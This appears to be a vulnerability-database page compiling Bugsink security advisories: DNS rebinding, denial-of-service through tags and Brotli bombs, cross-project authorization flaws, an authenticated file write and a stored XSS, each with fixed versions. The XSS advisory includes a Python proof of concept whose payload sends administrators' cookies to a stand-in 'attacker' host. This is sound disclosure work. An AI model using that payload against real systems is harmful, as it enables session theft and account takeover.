See how bugsink compares to other vendors in security performance
Bugsink is a self-hosted error tracking tool. Prior to version 2.4.0, Bugsink's outbound webhook protection could be bypassed with DNS rebinding. When sending a webhook, Bugsink resolved the configured webhook hostname and checked the resulting IP addresses against the outbound webhook policy. The actual HTTP request was then made separately by requests, which performed its own DNS resolution. An attacker who controls the webhook hostname's DNS responses could therefore return a public IP address during Bugsink's policy check, and a non-global or otherwise blocked IP address during the later HTTP connection. This issue has been patched in version 2.4.0.
Bugsink is a self-hosted error tracking tool. Prior to version 2.4.0, Bugsink's outbound webhook protection could be bypassed with DNS rebinding. When sending a webhook, Bugsink resolved the configured webhook hostname and checked the resulting IP addresses against the outbound webhook policy. The actual HTTP request was then made separately by requests, which performed its own DNS resolution. An attacker who controls the webhook hostname's DNS responses could therefore return a public IP address during Bugsink's policy check, and a non-global or otherwise blocked IP address during the later HTTP connection. This issue has been patched in version 2.4.0.
Bugsink is a self-hosted error tracking tool. Prior to version 2.2.2, Bugsink stores every set of custom tags supplied with an incoming event, allowing a caller with a valid project DSN to submit an unusually large tag set and force excessive tag-row writes. Because Bugsink uses a single-writer database architecture, the expensive write transaction delays digestion of other events and causes a temporary ingestion denial of service. Version 2.2.2 applies the configurable MAXEVENTTAGS limit before storage. The impact is limited to availability for an instance accepting the event and does not expose stored data, modify existing events, or allow code execution. This issue is fixed in version 2.2.2.
Description Bugsink’s issue list supports bulk actions such as resolving or muting selected issues. In affected versions, the issue list view authorizes access through the project in the URL, but applies the requested bulk action to the submitted issue IDs without also requiring those issues to belong to that project.
This is a project-boundary authorization issue: a logged-in user with access to one project can change the state of an issue in another project. However, the issue is mitigated by two factors. First, the attacker needs to already know a valid target issue UUID; there is no issue enumeration path here, and guessing UUIDs is not practical. Second, Bugsink is commonly self-hosted within a single trust domain, and Hosted Bugsink gives each tenant a separate Bugsink instance, so cross-project access does not normally imply cross-tenant access.
This has been fixed by requiring bulk issue actions to operate only on issues belonging to the authorized project.
Impact
Low-severity cross-project issue state modification, requiring authentication and prior knowledge of a valid issue UUID.
Description
Bugsink issue event pages accept a direct event identifier from the URL and, in affected versions, look up that event without also requiring it to belong to the issue in the URL.
This is a project-boundary authorization issue: a logged-in user with access to one project can view another project’s event data through an issue they are allowed to access. However, the issue is mitigated by two factors. First, the attacker needs to already know a valid target event UUID; there is no event enumeration path here, and guessing UUIDs is not practical. Second, Bugsink is commonly self-hosted within a single trust domain, and Hosted Bugsink gives each tenant a separate Bugsink instance, so cross-project access does not normally imply cross-tenant access.
The affected views include the stacktrace, details, and breadcrumbs pages for an issue event.
This has been fixed by requiring direct event lookups to match both the authorized issue and the project.
Impact Low-severity cross-project event data exposure, requiring authentication and prior knowledge of a valid event UUID.
Summary
Bugsink before 2.2.0 resolved sourcemaps and debug files by debug ID without scoping that lookup to the project that owned the uploaded metadata. An authenticated user with access to one project could cause event processing in that project to use sourcemap/debug-file metadata uploaded for another project in the same Bugsink instance, if the same debug ID was referenced.
Impact
This could disclose source context or symbolication-derived context from another project on the same Bugsink instance.
For sourcemaps, the documented upload flow used sentry-cli sourcemaps upload with --project=ignoredfornow. In other words, Bugsink did not historically treat the project value supplied during sourcemap upload as meaningful project ownership. This was documented, but at the same time the sentry-cli, which requires project as a parameter, was the recommended mechanism for uploads. This could reasonably lead people to expect that sourcemaps uploads would respect the provided project-boundary.
For minidumps/debug files specifically, the affected functionality also required FEATUREMINIDUMPS to be enabled. That feature was marked experimental.
The practical impact is further limited by Bugsink’s deployment model: self-hosted instances are commonly operated within a single organization/trust domain, and Hosted Bugsink uses separate Bugsink instances per tenant. The issue does not cross Hosted Bugsink tenant boundaries.
Affected Versions 2.1.3 and earlier are affected.
Patched Versions 2.2.0 fixes this issue.
Post-Upgrade Notes
After upgrading, upload sourcemaps/debug files with project information.
To remove legacy projectless sourcemap metadata immediately, run, after upgrading:
bugsink-manage deletelegacysourcemaps
Authenticated arbitrary file write in artifact bundle assembly
Summary
An authenticated file write vulnerability was identified in Bugsink 2.1.0 in the artifact bundle assembly flow.
A user with a valid authentication token could cause the application to write attacker-controlled content to a filesystem location writable by the Bugsink process.
This issue requires authentication and affects only version 2.1.0.
The issue is fixed in 2.1.1.
Impact
This vulnerability allows an authenticated user to create or overwrite files within locations writable by the Bugsink service account.
The practical impact depends on the deployment environment and filesystem permissions of the running process.
Possible consequences include:
modification of application data files corruption of uploaded assets or temporary files overwriting files in mounted writable volumes disruption of normal application behavior
No unauthenticated exploitation is known.
No direct code execution has been demonstrated as part of this issue, though impact may be greater in deployments where the process has broad write permissions.
Affected versions
Affected: 2.1.0 Fixed: 2.1.1 Not affected: earlier releases
Mitigation
Upgrade to 2.1.1.
As a defense-in-depth measure, deployments should continue to ensure the Bugsink process runs with the minimum required filesystem permissions.
Summary
An unauthenticated attacker who can submit events to a Bugsink project can store arbitrary JavaScript in an event. The payload executes only if a user explicitly views the affected Stacktrace in the web UI.
Details
When Pygments returns more lines than it was given (a known upstream quirk that triggers with Ruby heredoc-style input), pygmentizelines() in theme/templatetags/issues.py:75-77 falls back to returning the raw input lines. marksafe() at line 111-113 is then applied unconditionally - including to those unsanitized raw lines. Since DSN endpoints are public by Sentry protocol, no account is needed to inject. The payload sits in the database until an admin looks at the event.
python issues.py:75-77 - fallback path, no escaping if len(pygmented) != len(lines): return lines # raw HTML returned here
issues.py:111-113 - unconditional marksafe return [marksafe(line) for line in result]
Operational Signals
Exploitation attempts are likely to generate the diagnostic event:
"Pygments line count mismatch, falling back to unformatted code"
Installations that monitor Bugsink with Bugsink (or otherwise alert on internal errors) may see this message as an issue. While the condition can occur benignly, unexpected occurrences, especially from unusual languages (specifically ruby), warrant review.
PoC
Send a Sentry event to /api/<project-id>/store/ with a valid DSN:
python import requests
payload = { "exception": {"values": [{"stacktrace": {"frames": [{ "filename": "app.rb", "lineno": 2, "precontext": ["<<~HEREDOC", " foo", "HEREDOC"], "contextline": "<img src=x onerror=fetch('//attacker/?c='+document.cookie)>", "postcontext": [] }]}}]} }
requests.post( "http://bugsink-host/api/<project-id>/store/", json=payload, headers={"X-Sentry-Auth": "Sentry sentrykey=<dsn-public-key>, sentryversion=7"} )
Open the event in the bugsink UI as any admin. Cookie exfiltrates immediately.
Impact
This is a stored XSS vulnerability.
Successful exploitation requires:
The attacker can submit events to the project (i.e. knows the DSN or can access a client that uses it). The Bugsink ingest endpoint is reachable to the attacker. An administrator explicitly views the crafted event in the UI.
Under those conditions, the attacker can execute JavaScript in the administrator’s browser and act with that user’s privileges within Bugsink.
Impact
In affected versions, a specially crafted Brotli-compressed envelope can cause Bugsink to spend excessive CPU time in decompression, leading to denial of service.
This can be done if the DSN is known, which it is in many common setups (JavaScript, Mobile Apps).
Patches
Patched in Bugsink 2.0.6
References
The vulnerability in this security advisory is similar to, but distinct from, another brotli-related problem in Bugsink:
https://github.com/bugsink/bugsink/security/advisories/GHSA-fc2v-vcwj-269v
Impact
In affected versions, brotli "bombs" (highly compressed brotli streams, such as many zeros) can be sent to the server. Since the server will attempt to decompress these streams before applying various maximums, this can lead to exhaustion of the available memory and thus a Denial of Service.
This can be done if the DSN is known, which it is in many common setups (JavaScript, Mobile Apps).
Patches
Patched in Bugsink 2.0.5